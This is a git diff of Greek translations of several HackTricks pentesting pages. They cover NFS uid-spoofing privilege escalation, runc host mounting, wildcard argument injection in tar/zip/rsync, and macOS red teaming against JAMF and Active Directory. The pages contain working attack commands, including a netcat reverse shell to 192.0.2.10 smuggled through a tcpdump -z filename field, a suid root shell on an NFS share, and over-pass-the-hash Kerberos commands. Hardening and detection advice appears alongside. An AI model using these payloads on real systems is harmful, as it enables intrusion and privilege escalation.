> Το παρακάτω κόλπο ισχύει σε περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια διεύθυνση IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\
> Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την ένδειξη `insecure`**.\
> --_Δεν είμαι σίγουρος ότι αν το `/etc/export` υποδεικνύει μια διεύθυνση IP αυτό το κόλπο θα λειτουργήσει_--
> --_Δεν είμαι σίγουρος ότι αν το `/etc/export` υποδεικνύει μια διεύθυνση IP, αυτό το κόλπο θα λειτουργήσει_--
## Βασικές Πληροφορίες
### Βασικές Πληροφορίες
Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενο ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg/libnfs), μιας βιβλιοθήκης που επιτρέπει την πλαστογράφηση κλήσεων RPC NFS.
### Συγκέντρωση της Βιβλιοθήκης
#### Συγκέντρωση της Βιβλιοθήκης
Τα βήματα συγκέντρωσης της βιβλιοθήκης μπορεί να απαιτούν προσαρμογές με βάση την έκδοση του πυρήνα. Σε αυτή την συγκεκριμένη περίπτωση, οι κλήσεις syscalls fallocate είχαν σχολιαστεί. Η διαδικασία συγκέντρωσης περιλαμβάνει τις παρακάτω εντολές:
```bash
@ -73,9 +77,9 @@ cd <SHAREDD_FOLDER>
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Διεξαγωγή της Εκμετάλλευσης
#### Διεξαγωγή της Εκμετάλλευσης
Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το προκύπτον δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC:
Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το παραγόμενο δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC:
1. **Μεταγλωττίστε τον κώδικα εκμετάλλευσης:**
```bash
@ -95,9 +99,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/
/mnt/share/a.out
#root
```
## Bonus: NFShell για Αθόρυβη Πρόσβαση σε Αρχεία
### Bonus: NFShell για Αθόρυβη Πρόσβαση σε Αρχεία
Μόλις αποκτηθεί πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφευχθούν τα ίχνη), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο share χωρίς προβλήματα άδειας:
Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφύγετε την αφήγηση ιχνών), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο share χωρίς προβλήματα άδειας:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic information
## Βασικές πληροφορίες
Αν θέλετε να μάθετε περισσότερα για το **runc** ελέγξτε την παρακάτω σελίδα:
@ -12,7 +12,7 @@
## PE
Αν διαπιστώσετε ότι το `runc` είναι εγκατεστημένο στον host, μπορεί να είστε σε θέση να **τρέξετε ένα container που να προσαρτά τον ριζικό φάκελο / του host**.
Αν διαπιστώσετε ότι το `runc` είναι εγκατεστημένο στον host, μπορεί να είστε σε θέση να **τρέξετε ένα κοντέινερ που να προσαρτά τον ριζικό φάκελο / του host**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

View File

@ -2,8 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
> Wildcard (aka *glob*) **εισαγωγή επιχειρημάτων** συμβαίνει όταν ένα προνομιακό σενάριο εκτελεί ένα Unix δυαδικό όπως `tar`, `chown`, `rsync`, `zip`, `7z`, … με ένα μη παραquoted wildcard όπως `*`.
> Δεδομένου ότι το shell επεκτείνει το wildcard **πριν** εκτελέσει το δυαδικό, ένας επιτιθέμενος που μπορεί να δημιουργήσει αρχεία στον τρέχοντα κατάλογο μπορεί να κατασκευάσει ονόματα αρχείων που αρχίζουν με `-` ώστε να ερμηνεύονται ως **επιλογές αντί για δεδομένα**, αποτελεσματικά λαθραία σημαίες ή ακόμα και εντολές.
> Η **έγχυση επιχειρημάτων** με wildcard (γνωστό και ως *glob*) συμβαίνει όταν ένα προνομιακό σενάριο εκτελεί ένα Unix binary όπως `tar`, `chown`, `rsync`, `zip`, `7z`, … με ένα μη παραquoted wildcard όπως `*`.
> Δεδομένου ότι το shell επεκτείνει το wildcard **πριν** εκτελέσει το binary, ένας επιτιθέμενος που μπορεί να δημιουργήσει αρχεία στον τρέχοντα κατάλογο μπορεί να κατασκευάσει ονόματα αρχείων που αρχίζουν με `-`, έτσι ώστε να ερμηνεύονται ως **επιλογές αντί για δεδομένα**, αποτελεσματικά λαθραία σημαίες ή ακόμα και εντολές.
> Αυτή η σελίδα συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους, πρόσφατες έρευνες και σύγχρονες ανιχνεύσεις για το 2023-2025.
## chown / chmod
@ -41,7 +41,7 @@ touch "--checkpoint-action=exec=sh shell.sh"
### bsdtar / macOS 14+
Ο προεπιλεγμένος `tar` σε πρόσφατο macOS (βασισμένος σε `libarchive`) *δεν* υλοποιεί το `--checkpoint`, αλλά μπορείτε να επιτύχετε εκτέλεση κώδικα με την επιλογή **--use-compress-program** που σας επιτρέπει να καθορίσετε έναν εξωτερικό συμπιεστή.
Ο προεπιλεγμένος `tar` σε πρόσφατες εκδόσεις macOS (βασισμένος σε `libarchive`) *δεν* υλοποιεί το `--checkpoint`, αλλά μπορείτε να επιτύχετε εκτέλεση κώδικα με την επιλογή **--use-compress-program** που σας επιτρέπει να καθορίσετε έναν εξωτερικό συμπιεστή.
```bash
# macOS example
touch "--use-compress-program=/bin/sh"
@ -86,38 +86,83 @@ touch @root.txt # tells 7z to use root.txt as file list
```bash
zip result.zip files -T --unzip-command "sh -c id"
```
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
Εισάγετε τη σημαία μέσω ενός κατασκευασμένου ονόματος αρχείου και περιμένετε να καλέσει το σενάριο δημιουργίας αντιγράφων ασφαλείας με δικαιώματα `zip -T` (δοκιμή αρχείου) στο προκύπτον αρχείο.
---
## Additional binaries vulnerable to wildcard injection (2023-2025 quick list)
## Πρόσθετα δυαδικά αρχεία ευάλωτα σε ένεση wildcard (γρήγορη λίστα 2023-2025)
The following commands have been abused in modern CTFs and real environments. The payload is always created as a *filename* inside a writable directory that will later be processed with a wildcard:
Οι παρακάτω εντολές έχουν κακοποιηθεί σε σύγχρονες CTF και πραγματικά περιβάλλοντα. Το payload δημιουργείται πάντα ως *όνομα αρχείου* μέσα σε έναν εγγράψιμο φάκελο που θα επεξεργαστεί αργότερα με wildcard:
| Binary | Flag to abuse | Effect |
| Δυαδικό | Σημαία προς κακοποίηση | Επίδραση |
| --- | --- | --- |
| `bsdtar` | `--newer-mtime=@<epoch>`arbitrary `@file` | Διαβάστε το περιεχόμενο του αρχείου |
| `bsdtar` | `--newer-mtime=@<epoch>`αυθαίρετο `@file` | Ανάγνωση περιεχομένων αρχείου |
| `flock` | `-c <cmd>` | Εκτέλεση εντολής |
| `git` | `-c core.sshCommand=<cmd>` | Εκτέλεση εντολής μέσω git over SSH |
| `git` | `-c core.sshCommand=<cmd>` | Εκτέλεση εντολής μέσω git μέσω SSH |
| `scp` | `-S <cmd>` | Δημιουργία αυθαίρετου προγράμματος αντί για ssh |
These primitives are less common than the *tar/rsync/zip* classics but worth checking when hunting.
Αυτές οι πρωτογενείς εντολές είναι λιγότερο κοινές από τις κλασικές *tar/rsync/zip* αλλά αξίζει να ελεγχθούν κατά την αναζήτηση.
---
## Detection & Hardening
## tcpdump rotation hooks (-G/-W/-z): RCE μέσω ένεσης argv σε wrappers
1. **Disable shell globbing** in critical scripts: `set -f` (`set -o noglob`) prevents wildcard expansion.
2. **Quote or escape** arguments: `tar -czf "$dst" -- *` is *not* safe — prefer `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Explicit paths**: Use `/var/www/html/*.log` instead of `*` so attackers cannot create sibling files that start with `-`.
4. **Least privilege**: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible.
5. **Monitoring**: Elastics pre-built rule *Potential Shell via Wildcard Injection* looks for `tar --checkpoint=*`, `rsync -e*`, or `zip --unzip-command` immediately followed by a shell child process. The EQL query can be adapted for other EDRs.
Όταν ένα περιορισμένο shell ή wrapper προμηθευτή κατασκευάζει μια γραμμή εντολών `tcpdump` συνδυάζοντας πεδία που ελέγχονται από τον χρήστη (π.χ., μια παράμετρος "όνομα αρχείου") χωρίς αυστηρή απόσπαση/επικύρωση, μπορείτε να λαθρέψετε επιπλέον σημαίες `tcpdump`. Ο συνδυασμός `-G` (χρονική περιστροφή), `-W` (περιορισμός αριθμού αρχείων) και `-z <cmd>` (εντολή μετά την περιστροφή) αποφέρει αυθαίρετη εκτέλεση εντολών ως ο χρήστης που εκτελεί το tcpdump (συχνά root σε συσκευές).
Προϋποθέσεις:
- Μπορείτε να επηρεάσετε το `argv` που περνάει στο `tcpdump` (π.χ., μέσω ενός wrapper όπως `/debug/tcpdump --filter=... --file-name=<HERE>`).
- Ο wrapper δεν απολυμαίνει κενά ή tokens που ξεκινούν με `-` στο πεδίο ονόματος αρχείου.
Κλασικό PoC (εκτελεί ένα σενάριο αντίστροφης σύνδεσης από μια εγγράψιμη διαδρομή):
```sh
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
```
Λεπτομέρειες:
- `-G 1 -W 1` αναγκάζει μια άμεση περιστροφή μετά το πρώτο πακέτο που ταιριάζει.
- `-z <cmd>` εκτελεί την εντολή μετά την περιστροφή μία φορά ανά περιστροφή. Πολλές εκδόσεις εκτελούν `<cmd> <savefile>`. Αν το `<cmd>` είναι ένα σενάριο/διερμηνέας, βεβαιωθείτε ότι η διαχείριση των παραμέτρων ταιριάζει με το payload σας.
Μη-αφαιρούμενα μέσα παραλλαγές:
- Αν έχετε οποιαδήποτε άλλη πρωτόγονη μέθοδο για να γράψετε αρχεία (π.χ., μια ξεχωριστή εντολή περιτύλιξης που επιτρέπει την ανακατεύθυνση εξόδου), τοποθετήστε το σενάριό σας σε μια γνωστή διαδρομή και ενεργοποιήστε `-z /bin/sh /path/script.sh` ή `-z /path/script.sh` ανάλογα με τη σημασία της πλατφόρμας.
- Ορισμένα περιτυλίγματα προμηθευτών περιστρέφονται σε θέσεις ελέγχου που ελέγχονται από τον επιτιθέμενο. Αν μπορείτε να επηρεάσετε τη διαδρομή περιστροφής (symlink/διαδρομή καταλόγου), μπορείτε να κατευθύνετε το `-z` να εκτελέσει περιεχόμενο που ελέγχετε πλήρως χωρίς εξωτερικά μέσα.
Συμβουλές σκληρύνσης για προμηθευτές:
- Ποτέ μην περνάτε συμβολοσειρές που ελέγχονται από τον χρήστη απευθείας στο `tcpdump` (ή οποιοδήποτε εργαλείο) χωρίς αυστηρές λίστες επιτρεπόμενων. Παραθέστε και επικυρώστε.
- Μην εκθέτετε τη λειτουργία `-z` σε περιτυλίγματα; εκτελέστε το tcpdump με ένα σταθερό ασφαλές πρότυπο και απαγορεύστε εντελώς επιπλέον σημαίες.
- Αφαιρέστε τα προνόμια του tcpdump (cap_net_admin/cap_net_raw μόνο) ή εκτελέστε το κάτω από έναν αφιερωμένο μη προνομιούχο χρήστη με περιορισμούς AppArmor/SELinux.
## Ανίχνευση & Σκληρύνση
1. **Απενεργοποιήστε την επέκταση wildcard** σε κρίσιμα σενάρια: `set -f` (`set -o noglob`) αποτρέπει την επέκταση wildcard.
2. **Παραθέστε ή διαφύγετε** παραμέτρους: `tar -czf "$dst" -- *` *δεν είναι* ασφαλές — προτιμήστε `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
3. **Ρητές διαδρομές**: Χρησιμοποιήστε `/var/www/html/*.log` αντί για `*` ώστε οι επιτιθέμενοι να μην μπορούν να δημιουργήσουν αδελφά αρχεία που ξεκινούν με `-`.
4. **Ελάχιστο προνόμιο**: Εκτελέστε εργασίες αντιγράφων ασφαλείας/συντήρησης ως μη προνομιούχος υπηρεσία αντί για root όποτε είναι δυνατόν.
5. **Παρακολούθηση**: Ο προ-κατασκευασμένος κανόνας της Elastic *Potential Shell via Wildcard Injection* αναζητά `tar --checkpoint=*`, `rsync -e*`, ή `zip --unzip-command` αμέσως ακολουθούμενο από μια διαδικασία παιδιού shell. Το EQL query μπορεί να προσαρμοστεί για άλλες EDRs.
---
## References
## Αναφορές
* Elastic Security Potential Shell via Wildcard Injection Detected rule (last updated 2025)
* Rutger Flohil “macOS — Tar wildcard injection” (Dec 18 2024)
* Elastic Security Potential Shell via Wildcard Injection Detected rule (τελευταία ενημέρωση 2025)
* Rutger Flohil “macOS — Tar wildcard injection” (18 Δεκ 2024)
* GTFOBins [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
* FiberGateway GR241AG [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -12,6 +12,7 @@
Για red teaming σε περιβάλλοντα MacOS, συνιστάται έντονα να έχετε κάποια κατανόηση του πώς λειτουργούν τα MDMs:
{{#ref}}
macos-mdm/
{{#endref}}
@ -20,9 +21,9 @@ macos-mdm/
Ένα MDM θα έχει άδεια να εγκαθιστά, να ερωτά ή να αφαιρεί προφίλ, να εγκαθιστά εφαρμογές, να δημιουργεί τοπικούς λογαριασμούς διαχειριστή, να ορίζει κωδικό πρόσβασης firmware, να αλλάζει το κλειδί FileVault...
Για να τρέξετε το δικό σας MDM, χρειάζεστε να **υπογραφεί το CSR σας από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, θα μπορούσατε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm).
Για να τρέξετε το δικό σας MDM, χρειάζεστε **το CSR σας υπογεγραμμένο από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, μπορείτε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm).
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστη CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε.
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστο CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε.
Για να εγγραφεί η συσκευή σε ένα MDM, χρειάζεται να εγκαταστήσετε ένα **`mobileconfig`** αρχείο ως root, το οποίο θα μπορούσε να παραδοθεί μέσω ενός **pkg** αρχείου (μπορείτε να το συμπιέσετε σε zip και όταν κατεβεί από το safari θα αποσυμπιεστεί).
@ -30,11 +31,11 @@ macos-mdm/
### Κατάχρηση JAMF PRO
Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενή payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...).
Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενή payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διαδικασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...).
#### Αυτοεγγραφή JAMF
Πηγαίνετε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν **ενεργοποιήσει την αυτοεγγραφή**. Αν την έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**.
Πηγαίνετε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν **ενεργοποιήσει την αυτοεγγραφή**. Αν το έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**.
Μπορείτε να χρησιμοποιήσετε το σενάριο [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying.
@ -46,7 +47,7 @@ macos-mdm/
<figure><img src="../../images/image (167).png" alt=""><figcaption></figcaption></figure>
Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain, το οποίο κατά την ανακάλυψη ήταν **κοινό** σε όλους και ήταν: **`jk23ucnq91jfu9aj`**.\
Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain το οποίο κατά την ανακάλυψη ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\
Επιπλέον, το jamf **επιμένει** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Κατάληψη Συσκευής JAMF
@ -60,12 +61,12 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<string>https://subdomain-company.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
Έτσι, ένας επιτιθέμενος θα μπορούσε να ρίξει ένα κακόβουλο πακέτο (`pkg`) που **επικαλύπτει αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε έναν Mythic C2 listener από έναν Typhon agent** για να μπορεί τώρα να εκμεταλλευτεί το JAMF ως C2.
Έτσι, ένας επιτιθέμενος θα μπορούσε να ρίξει ένα κακόβουλο πακέτο (`pkg`) που **επικαλύπτει αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε έναν Mythic C2 listener από έναν Typhon agent** ώστε να μπορεί τώρα να εκμεταλλευτεί το JAMF ως C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -85,9 +86,9 @@ sudo jamf policy -id 0
<figure><img src="../../images/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
Μπορείς επίσης να παρακολουθείς την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
Μπορείς επίσης να παρακολουθήσεις την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
Ωστόσο, τα **διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθείς `ps aux | grep -i jamf` (χωρίς καν να είσαι root).
Ωστόσο, τα **διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθήσεις `ps aux | grep -i jamf` (χωρίς καν να είσαι root).
Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέα επιχειρήματα διαδικασίας.
@ -95,22 +96,26 @@ sudo jamf policy -id 0
Και επίσης για τα **MacOS** "ειδικά" **δίκτυα** **πρωτοκόλλων**:
{{#ref}}
../macos-security-and-privilege-escalation/macos-protocols.md
{{#endref}}
## Active Directory
Σε ορισμένες περιπτώσεις θα διαπιστώσεις ότι ο **υπολογιστής MacOS είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσεις να **καταγράψεις** τον ενεργό κατάλογο όπως είσαι συνηθισμένος. Βρες κάποια **βοήθεια** στις παρακάτω σελίδες:
Σε ορισμένες περιπτώσεις θα διαπιστώσεις ότι ο **MacOS υπολογιστής είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσεις να **καταγράψεις** τον ενεργό κατάλογο όπως είσαι συνηθισμένος. Βρες κάποια **βοήθεια** στις παρακάτω σελίδες:
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
{{#ref}}
../../windows-hardening/active-directory-methodology/
{{#endref}}
{{#ref}}
../../network-services-pentesting/pentesting-kerberos-88/
{{#endref}}
@ -119,13 +124,13 @@ sudo jamf policy -id 0
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για MacOS για αυτόματη καταμέτρηση του AD και αλληλεπίδραση με το kerberos:
Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για MacOS που επιτρέπουν την αυτόματη καταμέτρηση του AD και την αλληλεπίδραση με το kerberos:
- [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε MacOS hosts.
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για να αλληλεπιδρά με τα APIs Heimdal krb5 σε macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη ασφάλεια δοκιμών γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση Active Directory.
- [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση του Active Directory.
### Πληροφορίες Τομέα
### Domain Information
```bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
```
@ -133,8 +138,8 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Οι τρεις τύποι χρηστών MacOS είναι:
- **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν είναι συνδεδεμένοι με κανέναν τρόπο στο Active Directory.
- **Δικτυακοί Χρήστες** — Μεταβλητοί χρήστες Active Directory που απαιτούν σύνδεση με τον διακομιστή DC για αυθεντικοποίηση.
- **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν συνδέονται με κανέναν τρόπο με το Active Directory.
- **Δικτυακοί Χρήστες** — Μεταβλητοί χρήστες Active Directory που απαιτούν σύνδεση με τον διακομιστή DC για να αυθεντικοποιηθούν.
- **Κινητοί Χρήστες** — Χρήστες Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήρια και τα αρχεία τους.
Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\
@ -174,7 +179,7 @@ dsconfigad -show
```bash
bifrost --action askhash --username [name] --password [password] --domain [domain]
```
Είναι δυνατόν να αποκτήσετε τον κωδικό πρόσβασης **`Computer$`** μέσα από το System keychain.
Είναι δυνατή η πρόσβαση στον **`Computer$`** κωδικό πρόσβασης μέσα στο System keychain.
### Over-Pass-The-Hash
@ -194,7 +199,7 @@ bifrost --action asktgt --username test_lab_admin \
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]
```
Με τα αποκτηθέντα εισιτήρια υπηρεσίας είναι δυνατή η προσπάθεια πρόσβασης σε κοινές χρήσεις σε άλλους υπολογιστές:
Με τα αποκτηθέντα εισιτήρια υπηρεσίας είναι δυνατή η προσπάθεια πρόσβασης σε κοινόχρηστα αρχεία σε άλλους υπολογιστές:
```bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point
@ -209,7 +214,7 @@ macos-keychain.md
## Εξωτερικές Υπηρεσίες
Η Red Teaming στο MacOS διαφέρει από τη συνηθισμένη Red Teaming στα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με πολλές εξωτερικές πλατφόρμες απευθείας**. Μια κοινή ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συνδεδεμένα διαπιστευτήρια OneLogin και πρόσβαση σε πολλές εξωτερικές υπηρεσίες** (όπως github, aws...) μέσω του OneLogin.
Η Red Teaming στο MacOS διαφέρει από τη συνηθισμένη Red Teaming στα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με πολλές εξωτερικές πλατφόρμες απευθείας**. Μια κοινή ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συνδεδεμένα διαπιστευτήρια OneLogin και πρόσβαση σε πολλές εξωτερικές υπηρεσίες** (όπως το github, aws...) μέσω του OneLogin.
## Διάφορες τεχνικές Red Team

File diff suppressed because one or more lines are too long

View File

@ -6,13 +6,15 @@
Αν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να αρχίσετε να μαθαίνετε τα βασικά του macOS:
- Ειδικά αρχεία & δικαιώματα macOS:
- Ειδικά **αρχεία & δικαιώματα** macOS:
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Κοινές χρήστες macOS
- Κοινές **χρήστες** macOS
{{#ref}}
macos-users.md
@ -20,17 +22,20 @@ macos-users.md
- **AppleFS**
{{#ref}}
macos-applefs.md
{{#endref}}
- Η **αρχιτεκτονική** του k**ernel**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Κοινές υπηρεσίες & πρωτόκολλα δικτύου macOS
- Κοινές υπηρεσίες & **πρωτόκολλα δικτύου** macOS
{{#ref}}
macos-protocols.md
@ -43,18 +48,21 @@ macos-protocols.md
Σε εταιρείες, τα συστήματα **macOS** είναι πολύ πιθανό να είναι **διαχειριζόμενα με MDM**. Επομένως, από την προοπτική ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζει **πώς λειτουργεί**:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Επιθεώρηση, Αποσφαλμάτωση και Fuzzing
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Security Protections
{{#ref}}
macos-security-protections/
{{#endref}}
@ -64,16 +72,17 @@ macos-security-protections/
### File Permissions
Αν μια **διαδικασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης θα μπορούσε να το εκμεταλλευτεί για να **κάνει αναβάθμιση δικαιωμάτων**.\
Αυτό θα μπορούσε να συμβεί στις παρακάτω καταστάσεις:
Αυτό θα μπορούσε να συμβεί στις εξής καταστάσεις:
- Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκει στον χρήστη)
- Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ομάδας
